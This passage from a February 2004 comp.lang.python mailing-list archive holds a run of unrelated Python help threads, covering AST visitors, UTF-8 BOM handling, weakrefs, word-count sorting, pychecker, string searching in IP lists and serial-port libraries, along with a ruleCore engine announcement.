I had a thought that when one prints the node argument from visitCallFunc
then you can see a node which looks something like Getattr(Name('catfish'),
'double'. Perhaps if this statement could be evaluated then the function in
question could be found.

Absolutely any thoughts would be appreciated!
Thanks
Stephen Emslie

my current code looks like this:

class C1:
    def F1(self):
        """
        pretty much does bugger all
        """
        catfish = C2
        x = catfish.double(50)
        return x

class C2:
    def double(x):
        "Return twice the argument"
        return x * 2

class MyVisitor(visitor.ASTVisitor):
    def visitCallFunc(self,node):
        print node


--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .





From eurleif at ecritters.biz  Thu Feb 12 12:57:44 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Thu, 12 Feb 2004 17:57:44 GMT
Subject: replicating objects
In-Reply-To: <mailman.7.1076596290.698.python-list@python.org>
References: <mailman.7.1076596290.698.python-list@python.org>
Message-ID: <s8PWb.1719$h86.1278412@monger.newsread.com>

Stefan Seefeld wrote:
> I'v got a composite object that I want to replicate
> (say, similar to C++'s copy constructor). What is the
> best way to implement that ? Are there any metaprogramming
> techniques that could me help to achieve what I want ?

http://www.python.org/doc/current/lib/module-copy.html


-- 
Proud "php freak that likes to stick to the rules". Actually, Python.


From piet at cs.uu.nl  Fri Feb 27 09:51:35 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 27 Feb 2004 15:51:35 +0100
Subject: remove BOM from string read from utf-8 file
References: <c1nfem$hs5$04$1@news.t-online.com>
Message-ID: <wzoerkinig.fsf@Ordesa.local>

>>>>> "Achim Domma" <domma at procoders.net> (AD) wrote:

AD> Hi,
AD> I read some text from a utf-8 encoded text file like this:

AD> text = codecs.open('example.txt','r','utf8').read()

AD> If I pass this text to a COM object, I can see that there is still the BOM
AD> in the file, which marks the file as utf-8. Simply removing the first
AD> character in the string is not ok, because the BOM is optional. So I tried
AD> something like this:

The BOM is in the file, but not in the string 'text'
text is a unicode string which consists of Unicode characters and the BOM
is not a Unicode character.

Check text[0] and len(text) to verify.

Moreover BOM_UTF8 is a (non-ASCII) byte string, not a Unicode string, that
is the reason for the complaint.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From forshtat at hotmail.com  Tue Feb  3 03:37:02 2004
From: forshtat at hotmail.com (Ziv Forshtat)
Date: 3 Feb 2004 00:37:02 -0800
Subject: wxPython: Transferring keyboard events from one frame to another
References: <c335e460.0402020935.36b00bcc@posting.google.com>
	<bvmolq$aud$2@news.service.uci.edu>
Message-ID: <c335e460.0402030037.120df5df@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<bvmolq$aud$2 at news.service.uci.edu>...
> > I'm in the process of implementing a virtual keypad: I have a wxFrame
> > which contains a photo the keypad of some device, and I'm using it to
> > enter special keywords into an editor window (wxStc). Each part of the
> > photo is associated with a certain keyword, which is sent to the
> > editor frame and displayed inside the editor. This is working fine.
> > However, if I want a proper virtual keyboard I should also be able to
> > transfer the regular keypresses (keyboard events) from my virtual
> > keypad frame to the editor frame, in order to save the user the
> > trouble of clicking on the editor window every time in order to set
> > the focus.
> 
> Question:
> Is your 'virtual keypad' /showing keypresses/, or is your 'virtual 
> keypad' used for text entry with a mouse?

Hi Josiah,
My virtual keypad is used for text entry with a mouse, but I also want
to transfer regular keyboard key presses from the keypad to the
'client' window.

Ziv


From dingbat at codesmiths.com  Sat Feb 28 20:08:33 2004
From: dingbat at codesmiths.com (Andy Dingley)
Date: Sun, 29 Feb 2004 01:08:33 +0000
Subject: XML best practices (was: Python as replacement for PHP?)
References: <403fa54b@news.zianet.com>
	<mailman.218.1077916834.8594.python-list@python.org>
	<30260531.0402271901.1bbdda99@posting.google.com>
	<1040489b2ookafd@corp.supernews.com>
Message-ID: <1hd240haqpbmnqdltavdt6t24ue0jvcl92@4ax.com>

On Sat, 28 Feb 2004 03:54:49 -0000, claird at lairds.com (Cameron Laird)
wrote:

>Let me get this straight:  your preferred vehicle for XML
>parsing is Perl regular expressions?  That's ... well, 

Rather more restrained a comment than I'd be capable of expressing ?



From peter at engcorp.com  Thu Feb 12 13:26:47 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 12 Feb 2004 13:26:47 -0500
Subject: str.find for multiple strings
References: <c0drlj$hsj$1@solaris.cc.vt.edu> <402A7FDC.8D47A02B@engcorp.com>
	<c0e0u6$p8g$1@solaris.cc.vt.edu> <402AA9C5.B2EB6088@engcorp.com>
Message-ID: <402BC567.8561899E@engcorp.com>

Peter Hansen wrote:
> 
> Bart Nessux wrote:
> >
> > Peter Hansen wrote:
> > > Bart Nessux wrote:
> > >
> > >>x = str.find(temp, '120.50')
> > >>
> > >>I am looking for '120.50' '120.51' '122.78' etc. How can I do this with
> > >>just one str.find... I can use re if I must, but I'd like to avoid it if
> > >>possible.
> > >
> > > In addition to Fecundo's questions, here's another.  What does "temp"
> > > contain?  A single temperature string, or a temperature embedded in
> > > a bunch of other stuff, or a whole series of temperatures, or what?

Ah, trust me to take an industrial-control point of view and not a network
software point of view.  You meant "temp" to be a temporary variable, not
a temperature, and the 120.50, 120.51 stuff are partial IP addresses, not
temperatures...  how curious of me to confuse them. :-)

-Peter


From nomail at xyz.org  Thu Feb 26 06:46:04 2004
From: nomail at xyz.org (Andrea Hahn)
Date: Thu, 26 Feb 2004 12:46:04 +0100
Subject: Driver for 4th Dimension?
Message-ID: <c1km9u$pns$1@news.cs.tu-berlin.de>

Hi!
Is anybody aware of an existing Python driver for the database program "4th
Dimension"? I am running into a problem with such a database on MacOSX
(where ODBC is a bit of a problem), and am trying to figure out if there is
an existing driver already, or if I should plan a database export for that
purpose.

Thanks!
Andrea




From jepler at unpythonic.net  Wed Feb 25 16:49:57 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 25 Feb 2004 15:49:57 -0600
Subject: weakref confusion
In-Reply-To: <c1imfp$q3s$1@graf.cs.uni-magdeburg.de>
References: <c1imfp$q3s$1@graf.cs.uni-magdeburg.de>
Message-ID: <20040225214956.GC28636@unpythonic.net>

On Wed, Feb 25, 2004 at 06:36:59PM +0100, Mathias Mamsch wrote:
> Hi,
> 
> I have some confusion concerning the weakref module.

This is because the class dictionary holds a '<function Test>', but the
expression 'A.Test' returns an '<unbound method A.Test>'.  You can
understand why this is the case by looking at what happens in a
subclass:
    >>> class A:
    ...     def m(): pass
    >>> class B(A): pass
    >>> A.m, B.m
    (<unbound method A.m>, <unbound method B.m>)
    >>> A.__dict__['m']
    <function m at 0x813adfc>

just like bound methods on instances, unbound methods are created "on
demand", and are tied to the class that the attribute reference was
performed on.

Jeff



From peter-paypal at engcorp.com  Fri Feb 20 11:06:51 2004
From: peter-paypal at engcorp.com (Peter Hansen)
Date: Fri, 20 Feb 2004 11:06:51 -0500
Subject: int vs. float in benchmark testing
References: <c152au$t58$1@solaris.cc.vt.edu> <40361F50.3D6153C8@engcorp.com>
	<c15899$ag1$1@solaris.cc.vt.edu>
Message-ID: <4036309B.1B0E0AAE@engcorp.com>

Bart Nessux wrote:
> 
> Uh, yes. We're benchmarking different processors. An IBM PPC 970 does
> things differently than an Intel P4. Running the same bit of Python code
> on both makes for an interesting comparison. Since processors handle
> ints and floats differently, it is useful for me to test them both.

Then why not get yourself some real benchmarks?

Benchmarks are a tricky thing.  Unless your real code is doing
something that looks an awful lot like the above (looping and adding
1.0 to things a lot), it seems unlikely what you learn will really be
what you wanted to learn.

-Peter


From __peter__ at web.de  Sat Feb  7 07:58:09 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 07 Feb 2004 13:58:09 +0100
Subject: an ingrate newbie complains
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
	<bvrem4$vrr$03$1@news.t-online.com>
	<b659da96daef1eb365df3fcbd5f7ca91@news.teranews.com>
	<bvrvsn$pdn$02$1@news.t-online.com>
	<87274528.0402051041.4fa8ff46@posting.google.com>
Message-ID: <c02nd2$fiv$02$1@news.t-online.com>

Dan  Dang  Griffith wrote:

> Maybe this should be a new thread, but... is defining a generator
> like I did here, i.e. one that really only returns one value considered
> an abuse of generators?  It sure seemed convenient for this application.
> def g(x): yield 2*x

Now you're asking it - yes, I was a little confused at first. I even removed
the condition to provoke the m x n behaviour of the two for statements,
expecting 100 items in the resulting list - and only then realized n=1.
Also if g() really were something complicated as specified by the OP, you
wouldn't want to limit it to for loops and list comprehensions. This could
be remedied by a little adapter:

>>> def makeGen(f):
...     def g(*x): yield f(*x)
...     return g
...

>>> [(x, y) for x in range(3) for y in makeGen(g)(x)]
[(0, 0), (1, 2), (2, 4)]


However, the resulting code is no longer beautiful, and I'd probably rather
reintroduce a temporary list:

>>> [(x, y) for x in range(3) for y in [g(x)]]
[(0, 0), (1, 2), (2, 4)]

My personal conclusion: use only list comprehensions containing one for,
stick to good old for loops for the more complicated things.

Peter

PS: I mentioned generator expressions as of PEP 289, see
www.python.org/peps/pep-0289.html


From __peter__ at web.de  Wed Feb 11 10:29:28 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 11 Feb 2004 16:29:28 +0100
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
Message-ID: <c0dhoo$6vr$03$1@news.t-online.com>

Stephen Ferg wrote:

> I've just spent several very frustrating hours tracking down a bug in
> one of my programs.  The problem was that I was writing text to a
> file, and when I was done I coded
> 
>    f.close
> 
> when I should have been coding
> 
>    f.close()
> 
> with the parentheses.
> 
> Although I love Python dearly, the fact that such an easy-to-make
> mistake should do nothing useful and do it silently (which, in this
> context, means: fail silently) seems to me a bit of a wart.
> 
> In any event, does anybody have any suggestions for how a coder could
> avoid making such a mistake, or detect it quickly?
> 
> I teach the occasional beginning Python class, and I would hate to
> have to tell my beginning students to watch out for making this kind
> of mistake because it can bite you in a most nasty way.

Try pychecker.

<pycheckerfodder.py>
if __name__ == "__name__":
    f = file("xxx")
    print f.readline(),
    f.close
</pycheckerfodder.py>

...> pychecker pycheckerfodder.py
Processing pycheckerfodder...

Warnings...

pycheckerfodder.py:4: Statement appears to have no effect

Peter


From hans at zephyrfalcon.org  Thu Feb  5 23:17:39 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Thu, 05 Feb 2004 23:17:39 -0500
Subject: Smart text parsing
In-Reply-To: <bvusjc$3jf$07$1@news.t-online.com>
References: <bvusjc$3jf$07$1@news.t-online.com>
Message-ID: <40231563.4020602@zephyrfalcon.org>

Mathias Mamsch wrote:

> I got a text with about 1 million words where I want to count words and put
> them sorted to a list
> like " list = [(most-common-word,1001),(2nd-word,986), ...] "
> 
> I think there are at about 10% (about 100.000) different words in the text.
> 
> I am wondering if you can give me something faster than my approach:
> My first straightforward approach was:
> ----
> s = "Hello this is my 1 million word text".split()
> 
> s2 = s.split()
> dict = {}
> for i in s2:         # the loop needs 10s
>         if dict.has_key(i):
>                 dict[i] += 1
>         else:
>                 dict[i] = 1
> list = dict.items()
> #   this is slow:
> list.sort(lambda x,y: 2*(x[1] < y[1])-1)
> ----

Passing a comparison function to sort slows things down a lot.  Try something 
like this instead:

parts = "Hello this is my 1 million word text".split()
for part in parts:
     if d.has_key(part):
          d[part] += 1
     else:
         d[part] = 1

lst = d.items()
lst = [(t[1], t[0]) for t in lst]  # (frequency, string)
lst.sort()  # sort as usual
lst.reverse()  # reverse, so highest numbers are first

HTH,

-- 
Hans (hans at zephyrfalcon.org)
http://zephyrfalcon.org/





From jcarlson at nospam.uci.edu  Wed Feb 25 16:53:40 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 25 Feb 2004 13:53:40 -0800
Subject: FTP with urllib2 behind a proxy
In-Reply-To: <mailman.74.1077674009.8594.python-list@python.org>
References: <mailman.74.1077674009.8594.python-list@python.org>
Message-ID: <c1j5m3$m55$2@news.service.uci.edu>

>         proxyauth = "http://anonymous at me:137.134.5.20:4421"

If the above is what you are using, then that is your issue.
The above should be; "http://anonymous:me at 137.134.5.20:4421"

As for your other problem, I have no idea.

  - Josiah


From joerg.lehmann at mail.com  Thu Feb 12 13:42:12 2004
From: joerg.lehmann at mail.com (Joerg Lehmann)
Date: 12 Feb 2004 10:42:12 -0800
Subject: Print formatted Strings with Umlauts
References: <91317660.0402111249.4ccc6e24@posting.google.com>
	<c0f8tb$5iu$05$1@news.t-online.com>
Message-ID: <91317660.0402121042.14b94155@posting.google.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<c0f8tb$5iu$05$1 at news.t-online.com>...
> Joerg Lehmann wrote:
> > I am using Python 2.2.3 (Fedora Core 1). ...
> > I have tried to set the encoding in site.py to 'latin-1', but it did not change
> > my results. Is there no way to store umlauts in 1 byte??? 
> 
> There is, but Fedora Core 1 does not use it. Instead, it uses an
> encoding where an umlaut character needs two bytes (namely, UTF-8).
> Changing site.py does not change the way your system represents
> these characters.
> 
> > What is the right way
> > to print strings containing umlauts in a tabular way (same field width)?
> 
> As Jeff explains: In the specific case, using Unicode strings would
> help. He is also right that, in general, it is very difficult to find
> out how many columns a single character uses, as some characters have
> width 0, and other characters have width 2 (in a mono-spaced terminal;
> for variable-spaced output, adding space characters to achieve
> formatting will never work reliably).
> 
> Regards,
> Martin

I have found a fix myself, I'm not sure if this is "the right way",
but it solves my problem:

I changed the settings in /etc/sysconfig/i18ln from UTF-8 to
ISO-8859-1:

LANG="en_US.ISO-8859-1"
SUPPORTED="en_US.ISO-8859-1:en_US:en"
SYSFONT="latarcyrheb-sun16"

This fixed my problem, Umlauts are stored in one byte now.

Thanks for your inspirations.

PS: Installing Python 2.3 (rpm for Fedora from www.python.org) did not
help.
--
Joerg Lehmann


From jcarlson at nospam.uci.edu  Fri Feb  6 12:18:59 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 09:18:59 -0800
Subject: Python can't divide??!?!
In-Reply-To: <87y8rgjlue.fsf@hydra.localdomain>
References: <mailman.1252.1076003166.12720.python-list@python.org>
	<87y8rgjlue.fsf@hydra.localdomain>
Message-ID: <c00iee$jkb$2@news.service.uci.edu>

>>Wacky.

Not wacky, there is a difference between str() and repr():

 >>> str(3.0/5)
'0.6'
 >>> repr(3.0/5)
'0.59999999999999998'


  - Josiah


From tweedgeezer at hotmail.com  Wed Feb 11 20:32:20 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 11 Feb 2004 17:32:20 -0800
Subject: How to avoid "f.close" (no parens) bug?
References: <mailman.1485.1076528381.12720.python-list@python.org>
Message-ID: <698f09f8.0402111732.40aaad28@posting.google.com>

"Batista, Facundo" <FBatista at uniFON.com.ar> wrote in message news:<mailman.1485.1076528381.12720.python-list at python.org>...
> #- In this example, we've used a method as a parameter.
> 
> But you're using it in a function call! It's not alone!
> 
> .	Facundo

Are you suggesting that we special-case the parser for everything that
*might* be an error?

I really don't ever run into this problem myself, and of the many
people I've helped learn Python, it's not a bug that comes up often at
all.  When it does, I say, "You have to call this function, not just
get it." and they say "Oh." and don't make that mistake again.

Jeremy


From cappy2112 at yahoo.com  Thu Feb 12 21:49:38 2004
From: cappy2112 at yahoo.com (Tony C)
Date: 12 Feb 2004 18:49:38 -0800
Subject: Not all .PY files are compiled to .PYC during execution
Message-ID: <8d3e714e.0402121849.7474d1e@posting.google.com>

After using Python for just over a year now, I've noticed something
for the first time.

I've written an application in one .PY file, and a class definition in
another.PY file. (The application instantiates one instance of the
class.)

When I run my application as in

python myapp.py

the file which contains the class definition (class.py), is compiled
to a .PYC file, but the application (myapp.py) is not.

Why is the application file not compiled to .PYC  ?

thanks


From aahz at pythoncraft.com  Thu Feb 26 16:39:27 2004
From: aahz at pythoncraft.com (Aahz)
Date: 26 Feb 2004 16:39:27 -0500
Subject: print in multithreaded environement ???
References: <5c184570.0402250756.1715ee17@posting.google.com>
Message-ID: <c1lp2f$eus$1@panix1.panix.com>

In article <5c184570.0402250756.1715ee17 at posting.google.com>,
vincent delft <vincent_delft at yahoo.com> wrote:
>
>What will be the result if I have several threads that print to
>different buffers ?

What do you mean by "buffer"?  Different file handles?

>I have several threads, each one execute different python code. 
>Just before the "exec" of this small python code, I redirect the
>output to a "buffer".
>Each thread has his own buffer.
>What will be the result when they print at the same time ?

If the buffer is a simple string that you're printing, the order in
which buffers are output is non-determinate (absent explicit ordering
through the use of Queue.Queue or equivalent), but the entire string
will be output as a single chunk.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From marco at analog.se  Thu Feb 19 08:56:55 2004
From: marco at analog.se (Marco)
Date: 19 Feb 2004 05:56:55 -0800
Subject: ANN: ruleCore 1.0 - Engine for event pattern detection
Message-ID: <438a319a.0402190556.84391eb@posting.google.com>

I would hereby like to announce that ruleCore 1.0 is available under
GPL from www.rulecore.com

RuleCore is an event-driven reactive rule engine with GUI tools,
written in Python.

The ruleCore Engine accepts events with XML-RPC, IBM WebSphere MQ,
TIBCO Rendezvous or just plain TCP/IP sockets. The engine detects
complex patterns of events, called situations. By combining events
with different kind of nodes, such as logical or timer nodes, the
situation detector in ruleCore can detect all kinds of interesting
situations.

Just a simple example: 

"Detect the situation when event HOST_DOWN comes after event
ROUTER_DOWN and  event FAILOVER does not come within 10 minutes. But
don't do this while I'm on lunch between 12 and 13:30 every day."

A condition can be evaluated on all the events that took part in the
detection process after a situation is detected. If the condition is
true a number of actions can be executed, normally scripts.

The ruleCore Engine is written in completely in Python. The GUI tools
are also in Python and uses Qt with the PyQt wrapper. Everything is
tested on recent versions of SUSE and RedHat. The rpm contains
*everything* needed to run ruleCore, so it should run on most Linux
distributions. Source code is also available.

Portability to Windows and Mac is a goal, but not tested yet. But as
everything is in Python, it should run provided that all the required
software are installed. Although this is left as an exercise to the
interested reader.

The ruleCore Engine is based on ideas from the research done on active
rules called Event-Condition-Action (ECA) rules. Google on ECA-rules
or check the references section on www.rulecore.com to learn more
about this type of event-driven active rules.

What is it good for? I think ruleCore is usable for solving problems
in a number of areas. RuleCore, just like a dbms, is a tool that could
be used for many different kinds of applications. Just to mention a
few areas, system management, "real-time" log analyzing or network
monitoring could all benefit from being able to detect interesting
patterns in huge number of events, as they happen, and trigger alerts.
The ruleCore Engine can also be used together with a suitable
integration (EAI) architecture to feed it with events from various
business systems. This would enable ruleCore to detect interesting
business situations such as customers acting (or not acting) in
interesting ways.

/Marco


From g2h5dqi002 at sneakemail.com  Wed Feb 11 21:28:39 2004
From: g2h5dqi002 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Thu, 12 Feb 2004 15:28:39 +1300
Subject: [OPINION] - does language really matter if they all do the  
 samething?
In-Reply-To: <mailman.718.1074902671.12720.python-list@python.org>
References: <69A0D4AB81C51447AD6BA387782B8D64093D8A@midl-mail4.etcconnect.com>
	<mailman.718.1074902671.12720.python-list@python.org>
Message-ID: <c0eocv$16l0b4$1@ID-169208.news.uni-berlin.de>

Dietrich Epp wrote:
> 
> Python seems to take the middle ground.  ... 
 > It's not what I'd choose as an example of an object oriented
> language.  There are no messages, only function calls, so you can't 
> capture them.

What do you mean by a "message"? If you're talking about a
Smalltalk method selector, the Python equivalent of that
is simply the name of the method, as a string. You can do
all the same things with that in Python as you can do with
a method selector in Smalltalk (testing whether the method
exists, etc.)

> the paradigm of sending a message "to" an object 
> doesn't exist, 
But "sending a message" is just the terminology Smalltalkers
happen to use to refer to the act of calling a method. What
actually happens is extremely similar to what happens in
Python. Sending a message in Smalltalk involves two
conceptual steps:

(1) Look up the message selector in the class to find a
piece of code.

(2) Call the code, passing it the arguments of the message.

In Python, the analogous steps are:

(1) Look up the name of the method in the class, yielding
a callable object.

(2) Call the callable object, passing it the arguments of
the method call.

The main difference is that in Python the intermediate
result between (1) and (2) is a tangible object that you
can manipulate, whereas in Smalltalk looking up the method
and calling it are done together indivisibly.

 > and anyone coming from Smalltalk or even Objective-C
 > might miss that and feel constrained (I did).

How did you feel constrained? If you tell us what Smalltalk-like
thing you wanted to do but couldn't, maybe we can help you find
a Pythonic equivalent. Underneath the surface syntax, Python
and Smalltalk are very similar in many ways.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From cesther at release.com  Fri Feb 20 16:20:48 2004
From: cesther at release.com (Chris Esther)
Date: Sat, 21 Feb 2004 10:20:48 +1300
Subject: avid video - embedded python? 
In-Reply-To: <c15rkc$2ea5$1@ns.felk.cvut.cz>
Message-ID: <NEBBKNOMFKBHAAGPAOPCOEOBBGAB.cesther@release.com>

I discovered what appears to be a copy of Python 2.1 included/embedded? with
the video editing system Avid Adrenalin Media Composer (Win XP). In the
program directory there is python21.dll and a directory containing the
standard library.

As I'm in the middle of an exercise to see if I can automate some
non-creative tasks in the creation of short video clips (e.g. creating
'slate's) this piqued my interest somewhat.

I have googled around and only discovered that it appears that Python has
been used as the basis for a testing framework by Avid, therefore I'm not
getting my hopes up that I will be able to use Python to achieve the
application automation I'm after...but...

I was wondering if there's anyone out there who know's anything more about
this?

Cheers
-c-





From tweedgeezer at hotmail.com  Mon Feb 23 01:37:20 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 22 Feb 2004 22:37:20 -0800
Subject: Where can I post a new debugger?
References: <mailman.160.1077453987.27104.python-list@python.org>	<6ee58e07.0402221348.46171b05@posting.google.com>	<40392479@news.bezeqint.net>
	<mailman.176.1077492929.27104.python-list@python.org>
Message-ID: <698f09f8.0402222237.25dcec2e@posting.google.com>

Fran?ois Pinard <pinard at iro.umontreal.ca> wrote in message news:<mailman.176.1077492929.27104.python-list at python.org>...
> > > "Ziaran  " <nir1408 at hotmail.com> wrote in message
> > > > I have written a new debugger.
> > > > I think people will find it useful.
>  
>  "Lothar Scholz" <llothar at web.de> wrote in message
> > > What is so different from the existing ones ?
> 
> [Ziaran]
> > http://ziaran.freehosting.net/
> 
> An URL is hardly an explanation, and alone, hardly an English sentence.
> People should not have to start a browser merely to figure out an email.
> 
> You think people will find your new debugger useful?  Good for you!
> Now, if you want us to think the same, you should tell us a little more.
> Once interested, then we may start a browser :-).

I think a URL, when linked to an explanatory page (such as the one he
linked to), is a great explanation.  Why should he have to say the
same thing twice (on usenet and then again on the webpage) because
you're too lazy to click a link?

Jeremy


From bart_nessux at hotmail.com  Wed Feb 11 14:48:22 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 11 Feb 2004 14:48:22 -0500
Subject: str.find for multiple strings
In-Reply-To: <402A7FDC.8D47A02B@engcorp.com>
References: <c0drlj$hsj$1@solaris.cc.vt.edu> <402A7FDC.8D47A02B@engcorp.com>
Message-ID: <c0e0u6$p8g$1@solaris.cc.vt.edu>

Peter Hansen wrote:
> Bart Nessux wrote:
> 
>>x = str.find(temp, '120.50')
>>
>>I am looking for '120.50' '120.51' '122.78' etc. How can I do this with
>>just one str.find... I can use re if I must, but I'd like to avoid it if
>>possible.
> 
> 
> In addition to Fecundo's questions, here's another.  What does "temp"
> contain?  A single temperature string, or a temperature embedded in
> a bunch of other stuff, or a whole series of temperatures, or what?
> 
> -Peter

Here's what I'm doing

def exclude():
    import os
    os.chdir('/home/rbt/scripts')
    inputFile = file('ath_ips.txt', 'r')
    data = inputFile.read()
    inputFile.close()
    comment = '#'
    net0 = '128.173.120.'
    net1 = '128.173.122.'
    host0 = ['50','51','52','53','54','55']
    host1 = ['17','25','49','50','55','58','70']
    for h0 in host0:
       h0 = net0+h0
       rep0 = comment+h0
       sea0 = str.find(data, h0)
       if sea0 >=0:
          data = data.replace(h0, rep0)
    for h1 in host1:
       h1 = net1+h1
       rep1 = comment+h1
       sea1 = str.find(data, h1)
       if sea1 >=0:
          data = data.replace(h1, rep1)
    outputFile = file('ath_ips.txt', 'w')
    outputFile.write(data)
    outputFile.close()




From gveda at iitk.ac.in  Sat Feb 21 11:57:44 2004
From: gveda at iitk.ac.in (Gaurav Veda)
Date: 21 Feb 2004 08:57:44 -0800
Subject: class vs function ???
Message-ID: <1c764367.0402210857.579f59ab@posting.google.com>

Hi !

I am a poor mortal who has become terrified of Python. It seems to
have thrown all the OO concepts out of the window. Penniless, I ask a
basic question :
What is the difference between a class and a function in Python ???
Consider the following code fragments :
# Fragment 1 begins 

a = 1
print a
def fun1():
    global b
    b = "inside fun1"
    print b
fun1()
def c1():
    print a
    print b
    c = 12
    def fun2():
        global d
        d = "We are dead !!!"
        print d
    fun2()
c1()
class c2:
    pass
print d
print c

# Fragment 1 ends
# Fragment 2 begins
a = 1
print a
def fun1():
    global b
    b = "inside fun1"
    print b
fun1()
class c1:
    print a
    print b
    c = 12
    def fun2():
        global d
        d = "We are dead !!!"
        print d
    fun2()
class c2:
    pass

print d
print c

# Fragment 2 ends

The output of both these codes are precisely the same ! (including the
error because of 'print c')

The sample output is :
1
inside fun1
1
inside fun1
We are dead !!!
We are dead !!!
Traceback (most recent call last):
  File "XYZ.py", line 21, in ?
    print c
NameError: name 'c' is not defined

Waiting for some 'logical' explanation !!!

Gaurav


From mwh at python.net  Thu Feb 26 07:39:49 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 26 Feb 2004 12:39:49 GMT
Subject: Buglet in CVS 040225
References: <c1kjpj$ik2$1@nets3.rz.RWTH-Aachen.DE>
Message-ID: <m3znb6c8vf.fsf@pc150.maths.bris.ac.uk>

Helmut Jarausch <jarausch-remove at igpm.rwth-aachen.de> writes:

> Hi,
> 
> I'm not sure if this is the right place to report on buglets in the
> CVS version of Python.

It most certainly is not: the bug tracker at

    http://sourceforge.net/tracker/?group_id=5470&atid=105470

is the place to go.

> Anyway
> 
> In file dist/src/Objects/floatobject.c  line 393
> it most probably must read
> 	PyFPE_END_PROTECT(r)
> --------------------------^

But seeing as this is my mistake, I'll fix it right now...

Cheers,
mwh

-- 
  If Unicode is a horde of zombies with flaming dung sticks, 
  the hideous intricacies of JIS, Chinese Big-5, Chinese 
  Traditional, KOI-8, et cetera are at least an army of ogres 
  with salt and flensing knives.        -- Eric S. Raymond, python-dev


From max at alcyone.com  Wed Feb 18 02:36:52 2004
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 17 Feb 2004 23:36:52 -0800
Subject: Memory pre-allocation for large lists
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
	<c0v3il$bk3$1@panix2.panix.com>
Message-ID: <40331614.84EB0E91@alcyone.com>

Aahz wrote:

> Can, yes.  But why?  Python uses an allocation mechanism for lists
> that
> results in constant amortized time; there's really no reason to
> pre-allocate.

If you know the size of the (large) array in advance, it's completely
legitimate to preallocate the array to make the constant time factor.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Even paranoids have real enemies.
    -- Delmore Schwartz


From nospam-deets at web.de  Wed Feb 18 05:26:02 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Wed, 18 Feb 2004 11:26:02 +0100
Subject: Comm Port support in Python ?
References: <zqpYb.47101$Bb.750778@twister.tampabay.rr.com>
	<c0ta54$1acihd$1@ID-111250.news.uni-berlin.de>
	<ap1bg1-s14.ln1@home.rogerbinns.com>
Message-ID: <c0veon$1cnd7v$1@ID-111250.news.uni-berlin.de>

> Yes, pySerial works on Mac.  My BitPim project - http://bitpim.sf.net
> uses it on Windows, Linux and Mac.  And if you end up discovering that
> you also need to support USB devices, I have a treat for you:
> 
>   http://cvs.sourceforge.net/viewcvs.py/bitpim/bitpim/native/usb/

Nice - this evening I'll start coding for a new project that utililzes usb -
so it might be that this could actually help me - thanks!
-- 
Regards,

Diez B. Roggisch


From peter at engcorp.com  Fri Feb 13 13:39:51 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 13 Feb 2004 13:39:51 -0500
Subject: Question: spawn and redirection
References: <cd738c650dfb5e3784c0a662fdc8c53e@news.meganetnews.com>
	<402CEC44.EFE48130@engcorp.com>
	<ae652179ac9762ccac0838a85622e763@news.meganetnews.com>
	<402CFAFD.1434C87F@engcorp.com>
	<c1cc9287b64d02fcd463cd9397fcfc7b@news.meganetnews.com>
Message-ID: <402D19F7.ED76D7DB@engcorp.com>

"Ladv?nszky K?roly" wrote:
> 
> Thanks for your advice. os.system() is not suitable in all cases as it
> always waits for the started process to terminate.
> 
> "Peter Hansen" <peter at engcorp.com> az al?bbiakat ?rta a k?vetkezo
> h?r?zenetben: 402CFAFD.1434C87F at engcorp.com...
> > "Ladv?nszky K?roly" wrote:
> > >
> > > I'd like to redirect the program output into a file.
> >
> > I'd just us os.system then, as in
> >
> >  os.system('command >somefile')

On Windows, you would simply to this instead then, I believe:

   os.system('start command >somefile')

-Peter


From anton at vredegoor.doge.nl  Thu Feb 12 06:02:24 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Thu, 12 Feb 2004 12:02:24 +0100
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com> <402A84FF.42CCB137@hotmail.com>
	<402A87FD.5879C6DC@engcorp.com>
Message-ID: <402b5d55$0$3989$3a628fcd@reader1.nntp.hccnet.nl>

Peter Hansen <peter at engcorp.com> wrote:

>I think I'm back to saying that "not an XML parser!!!!" is a bit of an
>unfair reaction, given how open they are about the situation.

Somehow this thread reminds me of a certain Monty Python scene
